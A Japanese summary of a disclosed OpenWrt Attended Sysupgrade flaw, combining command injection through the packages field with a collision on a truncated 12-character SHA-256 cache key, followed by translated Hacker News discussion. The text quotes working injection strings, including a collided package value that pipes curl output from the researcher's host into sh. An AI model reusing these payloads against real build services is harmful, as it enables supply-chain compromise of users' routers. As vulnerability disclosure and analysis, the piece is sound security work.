2 ポイント 投稿者 GN⁺ 2024-12-10 | 1件のコメント | WhatsAppで共有
  • OpenWrtのWebアップグレード機能 Attended Sysupgrade は、オンラインのビルドサーバーでファームウェアを生成する仕組みであり、コマンドインジェクションと切り詰められたSHA-256衝突が組み合わさると、正規のリクエストに対して誤ったビルド成果物が返される可能性があった
  • リクエストの packages 値が make manifestPACKAGES= 変数に渡され、make の変数展開の特性により、攻撃者は イメージビルダーコンテナ内部 で任意のコマンドを実行できた
  • パッケージ一覧のハッシュはSHA-256全体ではなく先頭 12文字、すなわち48ビットだけがキャッシュキーに反映されていたため、異なるパッケージ一覧でも同じリクエストハッシュを生成できた
  • 研究者は改変したHashcatとRTX 4090で毎秒約 180億ハッシュ の速度を得て、衝突させたコマンドインジェクションペイロードでイメージビルダーの .bin 成果物を上書きできることを検証した
  • OpenWrtチームは非公開の脆弱性報告の後、sysupgrade.openwrt.org を一時停止し、3時間以内 に修正版を配布したが、過去に悪用されていたかどうかは確認できなかった

Attended Sysupgradeのオンラインファームウェアビルド構造

  • OpenWrtのLuCI Webインターフェースには Attended Sysupgrade があり、この機能はオンラインサービスを使って新しいファームウェアをビルドする
  • ビルドサービスは sysupgrade.openwrt.org で動作し、ユーザーが対象デバイスと必要なパッケージを選ぶと、新しいファームウェアイメージを生成する
  • アップグレード要求時に、ユーザー側のOpenWrtはサーバーへ次の情報を送る
    • 対象アーキテクチャ
    • デバイスプロファイル
    • 選択したパッケージ
  • サーバーはこの情報をもとにファームウェアイメージをビルドしてOpenWrtデバイスへ返し、デバイスは受け取ったイメージを書き込む
  • ユーザー提供のパッケージでイメージをビルドするサーバーが十分に分離されていない場合、ビルド結果がそのままデバイスに適用される サプライチェーン攻撃面 になる

PACKAGES 値を通じたコマンドインジェクション

  • sysupgrade.openwrt.org サーバーはオープンソースプロジェクトで、ソースコードは openwrt/asu にある
  • ビルド環境は podman.containers.create で作成したコンテナ内で実行され、cap_drop=["all"], no_new_privileges=True, privileged=False といった設定を使っていた
  • 脆弱性は make manifest の呼び出し箇所で発生した
    • PROFILE={build_request.profile}
    • PACKAGES={' '.join(build_cmd_packages)}
    • STRIP_ABI=1
  • OpenWrtイメージビルダーの manifest ターゲットは、PACKAGES 値を USER_PACKAGES="$(PACKAGES)" の形で再度渡す
  • make はコマンド実行前に変数を展開するため、シングルクォートで囲ってもユーザー制御値は安全に処理されない
    • 例として、Makefileで make var="'; whoami #" を実行すると、echo '$(var)' の中でも whoami が実行される
  • リクエストの packages パラメータが PACKAGES 変数に入るため、攻撃者はパッケージ名に見える値へコマンドを埋め込み、イメージビルダーコンテナ内部 で任意のコマンドを実行できた
  • コンテナがホストから分離されていても、生成されたバイナリは後続段階で秘密鍵により署名されるため、このコマンドインジェクションはサプライチェーン脆弱性へとつながった

12文字に切り詰められたSHA-256キャッシュキー

  • get_request_hash はビルド要求の複数フィールドを連結してリクエストハッシュを作成し、このハッシュはビルドキャッシュキーとして使われる
  • パッケージ一覧は文字列そのものではなく、get_packages_hash(build_request.packages) の結果が外側のリクエストハッシュに含まれる
  • get_packages_hash は重複パッケージを取り除いて並べ替えた後、空白で連結した文字列のSHA-256を計算するが、結果は先頭 12文字 に切り詰めて返していた
  • SHA-256の12文字プレフィックスは48ビットで、可能な空間は 2^48 = 281,474,976,710,656 個である
  • 外側のリクエストハッシュがこの切り詰められたパッケージハッシュを含むため、パッケージハッシュ衝突を作れば異なるパッケージ一覧でも同じキャッシュキーを共有する
  • その結果、サーバーは別のパッケージ要求に対して 誤ったビルド成果物 を返し得た

Hashcatで衝突ペイロードを探索

  • 部分一致SHA-256の総当たりツールが見つからなかったため、最初はOpenCLプログラムを自作したが、1億ハッシュの計算に10秒かかり、CPUのハッシュ速度と大差なかった
  • その後、Hashcat を改変して8文字一致でもハッシュを出力するようにし、小さなスクリプトで12文字衝突かどうかを確認した
  • 正規のパッケージ一覧は firmware-selector.openwrt.org から取得し、そのSHA-256は 8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb だった
    • 先頭12文字は 8f7018b33d94
    • 攻撃ペイロードも同じ12文字プレフィックスを持つ必要があった
  • 当初は `curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh` という形式のマスクをRTX 4090で実行し、約 毎秒5億ハッシュ の速度が出た
  • ?la-z を生成するため、10文字空間は 26^10 = 141,167,095,653,376 個であり、これは 2^48 の約半分にあたる
  • マスクを11文字に増やし、マスク位置をコマンドの前方に移すと速度が大幅に向上した
    • 最終パターンは `?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh`
    • このパターンでHashcatは約 毎秒180億ハッシュ で計算した
  • 1時間以内に次の12文字衝突が見つかった
    • `slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`
    • この文字列のSHA-256は 8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8 で、先頭12文字が正規のパッケージ一覧と同じだった

2つの脆弱性の組み合わせで誤ったファームウェアを返却

  • 衝突ペイロードを packages パラメータとして送るとコマンドインジェクションが発生し、tmp.ryotak.net からスクリプトが実行される
  • 検証用スクリプトは /builder/scripts/json_overview_image_info.py にコードを追記し、イメージビルダーが作成した成果物を上書きした
    • BIN_DIR のファイル一覧を読む
    • 名前が .bin で終わるファイルを見つけ、その内容に "test" を書き込む
  • ハッシュ衝突のため、サーバーは正規のパッケージ一覧を要求したユーザーに対して、上書きされたビルド成果物を返した
  • この手法が悪用されると、ユーザーは 悪性ファームウェア へアップグレードしてしまい、デバイス侵害につながる可能性がある

報告と修正

  • 脆弱性はGitHubの 非公開脆弱性報告 を通じてOpenWrtチームへ伝えられた
  • OpenWrtチームは問題を確認した後、sysupgrade.openwrt.org サービスを一時停止して調査に入った
  • 修正版は 3時間以内 にデプロイされ、サービスも再開された
  • 2つの問題は修正されたが、脆弱性がしばらく存在していたため、すでに他者に悪用されていたかどうかは分からなかった
  • OpenWrtチームは、ユーザーがデバイス侵害の有無を確認し検知できるよう、告知 を公開した

結論

  • sysupgrade.openwrt.org は、コマンドインジェクション切り詰められたSHA-256衝突 を組み合わせることで侵害可能だった
  • 実際のアプリケーションでハッシュ衝突攻撃を総当たりで成功させ、サプライチェーン攻撃経路を作り出した事例である
  • OpenWrtチームは短時間で問題を修正してユーザーに通知したが、オンラインビルドサービスではキャッシュキーと入力検証を極めて保守的に扱う必要がある

1件のコメント

 
GN⁺ 2024-12-10
Hacker News のコメント
  • 記事で抜けている脆弱性は、特定のユーザーや特定のデバイス向けのコードを実行することが常態化している点だ。
    再現可能性の検証もなく、このカスタムビルド・ダウンロードサービスがバックドア入りのビルドを作っていないか、誰にも確認する方法がない。
    Andres Freund が使うような xz-utils ビルド、あるいは後でセキュリティ研究者が入手してオープンソースソフトウェアにサプライチェーンインプラントがあるか確認できるビルドを使うよう保証すべきだ[1]。
    Mozilla がリリースビルドを Merkle ツリーに公開記録しようとして中止した試みを説明した記事が以前あった[2]。Google は Pixel ファームウェアビルドの実装を整理しているが、Google Play Store で配布されるアプリは脆弱に見える(自分が見つけられていない別のログがない限り)[3]。Apple はファームウェアとアプリ配布で個別デバイスごとのビルドをターゲットにしているうえ、ビルド透明性がないため、バイナリ透明性の面では Google よりさらに悪く見える。
    良い例としては Gentoo の ebuild リポジトリがある。単一の Git リポジトリ/Merkle ツリーにソースのチェックサムを収めており、オープンソースソフトウェアの中でも最大級かつ広く分散した Merkle ツリーの一つであり続けている可能性がある。
    [1] xz-utils のバックドア以降、一部の研究者は、オープンソースソフトウェアのビルド内に隠れた悪意あるコードを含み得る、説明のつかない高エントロピーのファイルを探すために、自動/半自動スキャンを行った。ユーザー別・デバイス別のカスタムビルドでは、すべてのビルドが後日の分析のために公開され、その公開ビルドに対する公開ログ(Merkle ツリー)があわせて提供されない限り、こうした作業は不可能だ。
    [2] https://wiki.mozilla.org/Security/Binary_Transparency
    [3] https://developers.google.com/android/binary_transparency/ov...

    • 良いアイデアだし自分も支持するが、再現可能性は決定性に依存することを忘れてはいけない。
      ビルドパイプラインに入る多くの要素は本質的に非決定的で、コンパイル時の判断が実行ごとに変わり得るからだ。フラグの問題を除いてもそうで、実際、最適化コンパイラの目的はそれに近い。多くの再現可能ビルドプロジェクトが発見してきたように、最適化を有効にすると再現可能性は事実上保証されない。
    • Google Play の場合: https://developer.android.com/guide/app-bundle/code-transpar...
      自分の知る限り、中央集権的なログはなく、アプリ開発者が自分の鍵や透明性ファイルのログを自ら公開することに任されている。
    • そういうビルドサービスを使うということは、そもそも「自分は標的型攻撃を受けるほど価値のある対象ではない」と言っているのと同じだ。
    • 自動/半自動スキャンで、隠れた悪意あるコードを含み得る説明不能な高エントロピーのファイルを探すのは簡単に回避できる。エントロピーを単に分散させればよい。
    • Google の証明書透明性チームが、Android だけでなく Linux 全体のためのファームウェア透明性も実質的に設計していたのを覚えている。
  • "".join も危険ではないか?
    get_str_hash("".join([build_request.distro, build_request.version, build_request.version_code, build_request.target, ... という形なら、隣接するフィールド間で文字を移動してもハッシュは同じになり得る。
    システムを直接乗っ取れなくても、壊れたイメージでキャッシュ汚染を起こしたり、ダウングレードを誘導したりできる。

    • その通り。説明された理由から、複数の入力をハッシュ化するときは HMAC を使うべきだ。
      修正: HMAC ではなくインクリメンタルハッシュと言うべきだった。
  • だからオープンソースは企業向けのクローズドソースには絶対に対抗できない。
    パッチを6か月待たせず3時間で修正し、問題の報告者を訴えようともせず、「旧式」だが問題なく動く機器を捨てて新製品を買えとわずかな割引だけ提示することもしなかったのだから。

    • ここでは皮肉だということをもっと明確にしたほうがよさそう。英語が母語ではないので、最初は “they” が「企業向けのクローズドソース」を指していると読んでしまい、OpenWRT が列挙されたすべてをやらかした危険な選択肢という意味だと理解した。
    • 自分が OpenWrt を好きな理由はまさにこれだ。自分のようにスクリーンリーダーを使う人にも、Web インターフェースが正しく動くかテストしてほしいと依頼してくれる。
    • その通りではあるが、OpenWRT はハッシュの切り詰めは修正したものの、コマンドインジェクションはまだ修正していないように見える。
      コマンドインジェクションも修正する予定であってほしい。記事で言っているように、生成されたイメージは署名されている。署名がなくても、信頼できないユーザー入力でコード実行ができてしまう問題だ。そして脆弱性は今回のハッシュ衝突の事例のように、互いに結び付くことがある。
    • ISP のせいで強制的に使わされているルーターがあるのだが、悪い程度から本当に深刻なものまで CVE がいくつかあり、その大半は数年前のものだ。
      交換はしてもらえるが同じモデルにすぎない。ISP はセキュリティをまったく気にしておらず、パッチも当てない。ルーターへの独占的なアクセス権を持ち、リモートログインまで可能なのに、まったく筋が通らない。
    • これは企業の支援と素早く修正できるリソースを持つ、ごく一部のオープンソースプロジェクトでだけ可能なことだ。
      ほとんどのオープンソースプロジェクトでは、メンテナーが過労すぎるか、単にセキュリティ問題を直したがらないことが多い。
  • 第一に、これは本来そういう用途のために作られたツールではなかったにもかかわらずオープンソースで、BuilderFactoryProvider なしで書かれていたため、短時間で作業に合わせて調整された事例だ。
    すでに言われている話で申し訳ないが、毎日これが本当につらい。
    大企業なら修正におそらく -1年かかっただろう。単にその人を訴えてできるだけ早く逮捕しようとし、パッチは絶対に出さなかっただろうからだ。
    OpenWrt は情報を受け取った後、安全でないサービスを停止し、ユーザーはすでにシャットダウンのおかげで安全な状態で報告を検証し、その後パッチを作成して3時間で配布した。すばらしい。

  • ハッシュを切り詰めて使うという発想を、人々がどう思いつくのか気になる。目的やメリットは何だろう?

    • 切り詰めたハッシュ関数は長さ拡張攻撃に対して脆弱ではない。ただし通常は SHA-512 を使って 256 ビットに切り詰める。今の基準では、それより短いものは安全とは言いにくい
    • 既存のツールやデータベースにすでにある長さ制限に合わせるためにそうする場合がある。あるいは、ハッシュを完全性検証ではなく単なる位置識別子としてだけ使う場合もある
      良い慣行ではないと思うが、人々は現実的に妥協する
    • コミットによると、ダウンロードファイル名と URL の長さを短くするためにそうしたとのこと
    • より小さなペイロードが必要なときに使うこともある
      [2] の @Reid の回答と [3] の @ThomasPornin の回答によれば、ハッシュを切り詰めるという発想は NIST でも完全にサポートされている。実際、SHA-224 は SHA-256 を切り詰めたもので、SHA-384 は SHA-512 を切り詰めたもの
      https://security.stackexchange.com/a/97389
    • SHA-1 から SHA-256 へアップグレードしつつ、完全性チェックやキー保存のためのデータ形式は変えたくないときにそうする
  • 記事は良かった。こんなに短い衝突を見つけるのにその程度のGPU 計算量が必要だったという点は少し驚いたが、実装を見るのは良かった
    最後のセクションに関連して、セキュリティ分析に月4万ドルというのは妥当な価格なのだろうか? だとすると、優秀なセキュリティ研究者は年50万ドルほど稼ぐということなのか?

    • 優れたセキュリティ研究会社なら、卓越した研究者1人で50万ドルの売上を上げられることもある、という意味。ただし、その人を100%稼働させられるだけの十分な仕事を持ってこられる必要がある。有給休暇まで考えると実際にはもっと少ない
    • 私の基準ではかなり妥当に見える。以前一緒に仕事をしたペネトレーションテスト会社は、そのくらい請求しながら、手抜きの nmap/metasploit スキャンを走らせて、それらしい PDF に包んでいた
    • LLM 以後の時代では、4090 の1時間分の計算は「それほど多い」というより「むしろ少ない」に近い。1ドル未満でも可能
    • 2^(12*4) は、可能な12文字の文字列が 281,474,976,710,656 個あるという意味なので、それだけを1時間以内に総当たりできるというのは本当に印象的
  • hashcat の性能が引数の順序によって数桁も変わるというのはどういう話だろう? 実行するたびに引数行からターゲットパターンをスキャンしているのか?

    • 鍵開けのように左から始めて、さらに進められるかを見たり、その推測を捨てたりする方式なのかもしれない。そうだとすると、「選択肢」を前の方に置けば毎回作り直す必要がなくなる。何らかの理由でプレフィックスをキャッシュしない、あるいはできないのかもしれないし
      あるいは数字を数えるときのように
      100000000000
      010000000000
      110000000000
      001000000000
      変動の大半が左側で起き、右側の変化はまれにしか見えない構造なのかもしれない。hashcat を知っている人が答えてくれたら興味深い。私はただ推測を投げているだけ
  • 攻撃の過程がとてもよく書かれていて、追いやすかった